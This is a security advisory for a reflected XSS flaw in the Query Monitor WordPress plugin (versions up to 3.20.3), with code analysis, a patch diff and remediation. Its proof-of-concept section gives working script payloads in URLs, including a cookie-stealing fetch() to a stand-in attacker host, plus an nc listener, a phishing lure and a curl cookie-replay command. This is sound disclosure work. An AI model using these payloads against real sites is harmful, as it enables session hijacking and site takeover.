CVE-2026-4267: Unauthenticated Reflected XSS in Query Monitor Plugin
Table of Contents
CVE-2026-4267 is a CVSS 7.2 (High) Reflected Cross-Site Scripting vulnerability in the Query Monitor – The Developer Tools Panel for WordPress plugin. All versions up to and including 3.20.3 are affected. An unauthenticated attacker can inject arbitrary JavaScript into the Query Monitor panel by crafting a malicious URL and tricking a privileged WordPress user (such as an administrator) into visiting it, potentially leading to full session hijacking or site takeover.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Query Monitor – The Developer Tools Panel for WordPress |
| Plugin Slug | query-monitor |
| CVE ID | CVE-2026-4267 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Reflected Cross-Site Scripting via Request URI |
| Affected Versions | <= 3.20.3 |
| Patched Version | 3.20.4 |
| Published | March 30, 2026 |
| Researcher | Dmitrii Ignatyev - CleanTalk Inc |
| Wordfence Advisory | Link |
Description
The Query Monitor – The Developer Tools Panel for WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the $_SERVER['REQUEST_URI'] parameter in all versions up to, and including, 3.20.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user (who has Query Monitor viewing access) into performing an action such as clicking on a crafted link.
Technical Analysis
Vulnerable Code Path
The vulnerability spans three layers: data collection, URL formatting, and HTML output.
Layer 1: Data Collection — collectors/request.php
On admin pages (lines 186–195), $_SERVER['REQUEST_URI'] is read directly, unslashed, and stored with only a path prefix stripped — no HTML encoding:
// collectors/request.php, lines 186–195
if ( is_admin() ) {
if ( isset( $_SERVER['REQUEST_URI'] ) ) {
$path = parse_url( home_url(), PHP_URL_PATH );
$home_path = trim( $path ?: '', '/' );
$request = wp_unslash( $_SERVER['REQUEST_URI'] ); // phpcs:ignore
$this->data->request['request'] = str_replace( "/{$home_path}/", '', $request );
} else {
$this->data->request['request'] = '';
}
On front-end pages (lines 199–202), the request item comes from $wp->request, which is WordPress’s internal parse of the URI — also not HTML-encoded at this stage:
} else {
foreach ( array( 'request', 'matched_rule', 'matched_query', 'query_string' ) as $item ) {
$this->data->request[ $item ] = $wp->$item;
}
}
Layer 2: URL Formatting — output/Html.php
The format_url() static method is responsible for making long, multi-parameter URLs more readable in the UI by line-breaking on &. However, it contains a fatal bypass (lines 487–494):
// output/Html.php, lines 487–494
public static function format_url( $url ) {
// If there's no query string or only a single query parameter, return the URL as is.
if ( ! str_contains( $url, '&' ) ) {
return $url; // ← RAW, UNESCAPED return
}
return str_replace( array( '?', '&' ), array( '<br>?', '<br>&' ), esc_html( $url ) );
}
When the URL does not contain an & character (i.e. no multiple query parameters), the function returns the raw, attacker-controlled string without any escaping. When the URL does contain &, esc_html() is correctly applied first.
Layer 3: HTML Output — output/html/request.php
The output() method calls format_url() for the request, matched_query, and query_string fields, then echoes the result directly into the HTML without a second escaping pass (lines 58–70):
// output/html/request.php, lines 58–70
if ( ! empty( $data->request[ $item ] ) ) {
if ( in_array( $item, array( 'request', 'matched_query', 'query_string' ), true ) ) {
$value = self::format_url( $data->request[ $item ] ); // ← may be raw
} else {
$value = esc_html( $data->request[ $item ] );
}
} else {
$value = '<em>' . esc_html__( 'none', 'query-monitor' ) . '</em>';
}
echo '<section>' . "\n";
echo '<h3>' . esc_html( $name ) . '</h3>' . "\n";
echo '<p class="qm-ltr"><code>' . $value . '</code></p>'; // ← raw $value echoed
Root Cause
The format_url() method in output/Html.php applies esc_html() only in the code path where the URL contains & (multiple query parameters). In the single-parameter (or no-parameter) branch, it returns the raw string directly. Since the return value is echoed into an HTML context without any subsequent escaping, any HTML/JavaScript injected into $_SERVER['REQUEST_URI'] is rendered by the browser.
The misleading comment // WPCS: XSS ok on the echo line in output/html/request.php:70 suggests the original developer incorrectly believed the output was already safe, leading to no second-level escaping.
Why Existing Controls Failed
There was no escaping applied in the format_url() short-circuit path. The comment // WPCS: XSS ok in output/html/request.php indicates the developer assumed safety was handled upstream by format_url(), but format_url() only sanitized when & was present. For clean URLs (no &), the raw URI passed through completely untouched.
Access Control and Attack Scope
Query Monitor restricts its HTML output to users who pass the user_can_view() check (classes/Dispatcher.php:171), which requires either:
- The WordPress capability
view_query_monitor, OR - A valid WordPress authentication cookie (checked via
wp_validate_auth_cookie)
This means the XSS payload executes in the browser of any logged-in WordPress user who has Query Monitor viewing access — typically site administrators or developers. An unauthenticated attacker does not need any credentials to craft the malicious URL, but must socially engineer a privileged user into visiting it.
Attack Impact
A successful exploit allows an attacker to execute arbitrary JavaScript in the victim’s browser session. Depending on the victim’s privilege level, this can lead to:
- Session hijacking — stealing the admin authentication cookie
- Admin account takeover — creating new administrator accounts or changing passwords via AJAX
- Persistent backdoor installation — injecting malicious plugins, themes, or content
- Credential harvesting — serving fake login forms
- Site defacement or SEO spam injection
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
query-monitorplugin installed and activated - Plugin version <= 3.20.3
- The victim user must have
view_query_monitorcapability (typically an administrator) and be logged into the WordPress site
Step-by-Step Reproduction
Step 1: Craft the malicious URL
Construct a URL that embeds a JavaScript payload inside the path component of the WordPress site URL. Because the path (before ?) is used as the request value and passed through format_url() without escaping (when there is no & in the value), script tags inject cleanly.
https://victim-site.example.com/<script>alert(document.cookie)</script>
For a more realistic account-takeover payload, craft a URL that sends the admin’s cookies to the attacker:
https://victim-site.example.com/<script>fetch('https://attacker.example.com/collect?c='+btoa(document.cookie))</script>
Step 2: Deliver the link to a privileged user
Send the crafted URL to a WordPress administrator via email, Slack, GitHub issue, or any social engineering vector. The message might look like:
“Hey, can you check this page on your WordPress site? I think something’s broken:
https://victim-site.example.com/<script>...</script>”
Step 3: Victim visits the URL while logged in
When the logged-in administrator visits the URL:
- WordPress loads the page and the Query Monitor plugin is activated
- The
QM_Collector_Request::process()method reads$_SERVER['REQUEST_URI']and stores the raw malicious string in$data->request['request'] - The
QM_Output_Html_Request::output()method callsself::format_url()on this value - Since the URI contains no
&,format_url()returns the raw string as-is - The raw string (containing the
<script>tag) is echoed into the Query Monitor HTML panel - The browser renders the panel and executes the injected script
Step 4: Verify execution
Using the simple alert payload, a dialog box pops up showing the current page’s cookies, confirming JavaScript execution in the context of the victim’s session.
Using a cookie-exfiltration payload:
# On attacker machine, start a listener:
nc -lvnp 8080
# Craft URL with exfiltration payload:
# https://victim-site.example.com/<script>fetch('http://ATTACKER_IP:8080/?c='+btoa(document.cookie))</script>
# When admin visits this URL, cookies appear in the netcat listener
Expected Result
The attacker receives the administrator’s WordPress session cookies, enabling full account takeover — login, privilege escalation, plugin installation, or any other administrative action.
Verification
Confirm the exploit succeeded by:
- Alert PoC: A JavaScript alert dialog appears with
document.cookiecontents when the admin visits the URL. - Exfiltration PoC: Cookies appear in the attacker’s HTTP listener, decodable with
echo <base64> | base64 -d. - Account takeover: Use the exfiltrated cookie with a tool like
curl -b "wordpress_logged_in_xxx=..." https://victim-site.example.com/wp-admin/to verify authenticated access.
Patch Analysis
What Changed
Only two meaningful files changed in the security fix:
| File | Change |
|---|---|
output/Html.php | Added esc_html() to the short-circuit return path in format_url() |
query-monitor.php | Version bump 3.20.3 → 3.20.4 |
readme.txt | Changelog entry added for the security release |
wp-content/db.php | Version bump only |
vendor/composer/installed.php | Composer reference hash update |
Fix Explanation
The fix is a single-line change in output/Html.php:490. In the vulnerable version, when the URL contained no & character, format_url() returned the raw URL. The patch wraps that return value in esc_html():
// Before (vulnerable):
if ( ! str_contains( $url, '&' ) ) {
return $url;
}
// After (patched):
if ( ! str_contains( $url, '&' ) ) {
return esc_html( $url );
}
The multi-parameter path already called esc_html() before the str_replace(), so it was never affected.
The fix is complete and addresses the root cause directly. Both code paths in format_url() now HTML-encode the URL before returning it, so the echo in output/html/request.php:70 is safe regardless of URL structure.
Residual risk: None identified. The fix is a pure output-encoding change with no side effects on functionality, since esc_html() converts <, >, &, ", and ' to their HTML entity equivalents, which browsers will display correctly as text.
Code Diff (Key Changes)
--- a/output/Html.php
+++ b/output/Html.php
@@ -487,7 +487,7 @@ abstract class QM_Output_Html extends QM_Output {
public static function format_url( $url ) {
// If there's no query string or only a single query parameter, return the URL as is.
if ( ! str_contains( $url, '&' ) ) {
- return $url;
+ return esc_html( $url );
}
return str_replace( array( '?', '&' ), array( '<br>?', '<br>&' ), esc_html( $url ) );
Timeline
| Date | Event |
|---|---|
| March 19, 2026 | Patched version 3.20.4 released |
| March 30, 2026 | Publicly disclosed via Wordfence |
| April 6, 2026 | Wordfence advisory last updated |
Remediation
Update the query-monitor plugin to version 3.20.4 or later immediately.
If an immediate update is not possible, consider temporarily deactivating the plugin on publicly-accessible sites where administrators may be socially engineered into clicking untrusted links.